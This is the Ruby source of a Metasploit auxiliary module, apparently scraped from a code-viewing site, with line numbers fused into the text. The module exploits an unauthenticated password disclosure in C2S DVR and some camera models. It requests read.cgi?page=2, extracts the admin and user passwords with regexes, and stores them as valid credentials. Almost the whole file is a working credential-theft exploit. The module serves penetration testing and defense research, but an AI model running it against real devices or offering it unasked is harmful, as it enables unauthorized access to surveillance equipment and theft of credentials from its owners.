Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/gather/c2s_dvr_password_disclosure.rb
Views: 11780
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::HttpClient7include Msf::Auxiliary::Scanner8include Msf::Auxiliary::Report910def initialize11super(12'Name' => 'C2S DVR Management Password Disclosure',13'Description' => %q{14C2S DVR allows an unauthenticated user to disclose the username15& password by requesting the javascript page 'read.cgi?page=2'.16This may also work on some cameras including IRDOME-II-C2S, IRBOX-II-C2S.17},18'References' => [['EDB', '40265']],19'Author' =>20[21'Yakir Wizman', # discovery22'h00die', # module23],24'License' => MSF_LICENSE,25'DisclosureDate' => 'Aug 19 2016'26)2728register_options([29OptString.new('TARGETURI', [false, 'URL of the C2S DVR root', '/'])30])31end3233def run_host(rhost)34begin35url = normalize_uri(datastore['TARGETURI'], 'cgi-bin', 'read.cgi')36vprint_status("Attempting to load data from #{url}?page=2")37res = send_request_cgi({38'uri' => url,39'vars_get' => {'page'=>'2'}40})41unless res42print_error("#{peer} Unable to connect to #{url}")43return44end4546unless res.body.include?('pw_enflag')47print_error("Invalid response received for #{peer} for #{url}")48return49end5051if res.body =~ /pw_adminpw = "(.+?)";/52print_good("Found: admin:#{$1}")53store_valid_credential(54user: 'admin',55private: $1,56private_type: :password57)58end5960if res.body =~ /pw_userpw = "(.+?)";/61print_good("Found: user:#{$1}")62store_valid_credential(63user: 'user',64private: $1,65private_type: :password66)67end68rescue ::Rex::ConnectionError69print_error("#{peer} Unable to connect to site")70return71end72end73end747576